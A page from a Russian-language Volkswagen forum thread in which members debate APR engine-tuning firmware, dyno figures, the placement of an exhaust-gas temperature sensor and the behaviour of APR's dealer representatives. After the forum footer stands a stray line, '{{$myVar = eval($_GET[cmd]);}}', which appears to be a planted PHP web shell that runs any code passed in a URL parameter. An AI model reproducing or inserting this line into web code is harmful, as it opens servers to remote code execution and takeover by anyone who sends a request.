+ Ответить в теме
Страница 6 из 16 ПерваяПервая ... 4 5 6 7 8 ... ПоследняяПоследняя
Показано с 51 по 60 из 153

Тема: Я прошился APR !


  1. #51
    GTI-Racing andrei_don is on a distinguished road Аватар для andrei_don
    Регистрация
    03.01.2010
    Откуда
    Белгород
    Машина
    09'Golf MK6 GTI DSG
    Сообщений
    157
    Цитата Сообщение от turborabbit Посмотреть сообщение
    ====
    Ну какбы "по многочисленным просьбам трудящихся" оне щас заливают "более злые" (где-то тут читал).
    А в натуре выходит что просто "тюнинг приборки".
    Присутствовал во данного время замера.

    Были и лучше и хуже этого замера на гольфах ГТИ в тот день. Так что говорить что дело только в "тюнинге приборки" не стал бы. ИМХО хороший результат.

    Меня больше порадовал замер стока, а именно то что ВАГи показывают на стенде больше чем заявлено в документах.

    С хондой в этом плане беда еще та. На интегре ДЦ5 с бюджетом 3000$+(впуск+хондата+коллектор ТОДА+кэт-бэк мюген+настройка всего) получилось 235лс/224Нм вот это ЖЕСТЬ)))) Когда заявлено с завода 220лс и 201Нм(не помню точно).



    Или сивик ФН2 по паспорту 201ЛС, а а на стенде в королеве показал что то около 175лс с маховика)))
    Последний раз редактировалось andrei_don; 23.11.2011 в 00:42.

  2. #52
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    Цитата Сообщение от Окислитель Посмотреть сообщение
    Извините, что мешаю вам APR обсирать, но не подскажете в какое место рекомендуется вкручивать датчик EGT на моторе BWA до турбины? Сколько градусов потеряется за 10 см проход по трубе?
    100 градусов +-, ибо это не 10 сантиметров трубы, а 10 сантиметров горячей части турбины :)
    вот мне кстати тоже хотелось бы посмотреть, как будут вкручивать в чугун сенсор )) есть иной вариант - вкрутить вместо 1й лямбды, но боюсь последствия будут не самые хорошие ))

  3. #53
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от Окислитель Посмотреть сообщение
    Извините, что мешаю вам APR обсирать, но не подскажете в какое место рекомендуется вкручивать датчик EGT на моторе BWA до турбины?
    ====
    На расстоянии 10-15см от выпускных клапанов самого "горячего" цилиндра.
    Для ?WA это 4й.

    Цитата Сообщение от Окислитель Посмотреть сообщение
    Сколько градусов потеряется за 10 см проход по трубе?
    ====
    Дело не в 10см, дело в том, что в некоторых случаях турбине происходит догорание несгоревшей смеси. И поэтому всякие "-100гр" итд - ниочём. Есть параметр важный для жизни мотора и турбины и он замеряется (по крайней мере инженерами SAE) определённым способом. Всё остальное - либо от лукавого, либо кроилово которое ведёт к попадалову.

    Добавлено через 1 минуту
    Цитата Сообщение от Амет Посмотреть сообщение
    есть иной вариант - вкрутить вместо 1й лямбды, но боюсь последствия будут не самые хорошие ))
    ====
    непойдёт, 1я лямда после турбины.
    а в чугуне делают дырку и вкручивают.
    Последний раз редактировалось turborabbit; 23.11.2011 в 02:26. Причина: Добавлено сообщение

  4. #54
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    Цитата Сообщение от turborabbit Посмотреть сообщение
    ====
    +1, но что делать.
    Я сыплю конструктив, а ответом ... горное эхо либо певод темы либо переход на личности...
    Уже реально напрягает читать, представители АПР уже не отвечают, а Вы все цепляете и цепляете, зачем? если есть вопросы к прошивкам, методам работы, продажам, стратегии развития пишите напрямую в хед офис, зачем тут разводить помидоры, засирая все темы, где что-то пишет АПР?!

    Разве это плохо, что появились официальные представители, которые помогают нам, конечным пользователям, решать вопросы? обкатывают прошивки под наш бенз, проводят замеры и т.д.?!
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  5. #55
    Цитата Сообщение от mas1er Посмотреть сообщение
    Уже реально напрягает читать, представители АПР уже не отвечают, а Вы все цепляете и цепляете, зачем? если есть вопросы к прошивкам, методам работы, продажам, стратегии развития пишите напрямую в хед офис, зачем тут разводить помидоры, засирая все темы, где что-то пишет АПР?!
    Да как бы если вы читали внимательно, то вопросов к продажам, стратегии развития - вопросов нет :)
    А где вы видете что тема засирается? Задаются вопросы технического характера по продуктам АПР. Такие же вопросы может задать любой человек, который намеревается купить продукт, и обязан получить на это квалифицированный обоснованный ответ.
    Цитата Сообщение от mas1er Посмотреть сообщение
    Разве это плохо, что появились официальные представители, которые помогают нам, конечным пользователям, решать вопросы? обкатывают прошивки под наш бенз, проводят замеры и т.д.?!
    Это очень хорошо! Ни кто не спорит

    Зайдите на vwortex - там ведутся вполне интересные дискуссии по разным продуктам между представителями АПР, Рево, Гиак и др. Везде обоснованные ответы, графики, измерения и т.д.
    У нас такого пока нет...
    2.0 TFSI/K04..

  6. #56
    GTI-Racing vikeis is on a distinguished road Аватар для vikeis
    Регистрация
    24.11.2008
    Откуда
    Москва
    Машина
    Audi TTS REVO 2+
    Сообщений
    361
    у нас нормального общения и не будет, ибо в РФ просто диллерство...
    я уже давно тусуюсь на вортексе, там много всего интересного пишут, но к итогу в люб случае не пришли! нет на 100% лучшей прошивки. Поэтому лично я выбираю компанию с максимальной поддержкой по РФ. Скоро перепрошьюсь )
    Audi TT-S Kreuzfahrer / REVO stage2+ LT / BBS LM/LM-R / AirLift Accuair / Forge Twincooler, DV, Intake / насос APR / Magnaflow 3" custom

    http://www.drive2.ru/cars/audi/tt_s/tt_s/vikeis/

  7. #57
    Цитата Сообщение от vikeis Посмотреть сообщение
    у нас нормального общения и не будет, ибо в РФ просто диллерство...
    Да будет, может не сразу, но все идет к этому. Спрос становится больше, предложений больше, больше конкуренция. А чтобы ее выигрывать нужно понятно и доступно обосновывать свою точку зрения.
    Что и происходит на многих зарубежных сайтах - ни каких переходов на личности, только примеры, измерения, замеры и т. д.
    2.0 TFSI/K04..

  8. #58
    GTI-Racing Kamich is just really nice Kamich is just really nice Kamich is just really nice Kamich is just really nice Аватар для Kamich
    Регистрация
    23.06.2010
    Откуда
    Mascwa
    Машина
    FE V, ранее GTI 5 MT&DSG
    Сообщений
    1,666
    Цитата Сообщение от vikeis Посмотреть сообщение
    у нас нормального общения и не будет, ибо в РФ просто диллерство...
    я уже давно тусуюсь на вортексе, там много всего интересного пишут, но к итогу в люб случае не пришли! нет на 100% лучшей прошивки. Поэтому лично я выбираю компанию с максимальной поддержкой по РФ. Скоро перепрошьюсь )
    на кого? можно в личку.
    Это у тебя черная машина с наклейкой апр на боку?
    In a world that's digital, we choose to be ANALOG.

  9. #59
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от alex323-69 Посмотреть сообщение
    Что и происходит на многих зарубежных сайтах - ни каких переходов на личности, только примеры, измерения, замеры и т. д.
    +1


    З.ы. ....... и у нас все иначе...... раздражение, нетерпение, подозрения, зависть, дать человеку минимум информации, на критику могут легко послать в курилку, мол не мешай серьёзным дядям гуру тут переваривать общие фразы........ за примерами далеко ходить не надо у нас.
    песок сыпется....не останавливайтесь на достигнутом !

  10. #60
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от mas1er Посмотреть сообщение
    Уже реально напрягает читать, представители АПР уже не отвечают, а Вы все цепляете и цепляете, зачем? если есть вопросы к прошивкам, методам работы, продажам, стратегии развития пишите напрямую в хед офис, зачем тут разводить помидоры, засирая все темы, где что-то пишет АПР?!
    ====
    1) А кто собсно сказал что нет контакта с хед-офисом?
    2) Спасибо за комплимент на счёт "засирания". Некоторые извлекают из него пользу.
    3) Можно воспользоваться комбинацией Alt-F4 или просто перескакивать на следующий пост видя аватарку с котом в "каске из цитрусовых".

    Цитата Сообщение от mas1er Посмотреть сообщение
    Разве это плохо, что появились официальные представители, которые помогают нам, конечным пользователям, решать вопросы? обкатывают прошивки под наш бенз, проводят замеры и т.д.?!
    ====
    Проводят или просто разводят ещё до конца не установили.
    Насчёт "помогания конечным пользователям решать проблемы".... ну если Вы про проблемы типа "незнаю куда потратить очередные пару штук ойро" собсна, да, помогают, респект. А здесь больше никакой существенной помощи кроме пиара не видел, можт проглядел?

+ Ответить в теме
Страница 6 из 16 ПерваяПервая ... 4 5 6 7 8 ... ПоследняяПоследняя

Похожие темы

  1. прошился...
    от евгений23 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 5
    Последнее сообщение: 01.10.2023, 15:31

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}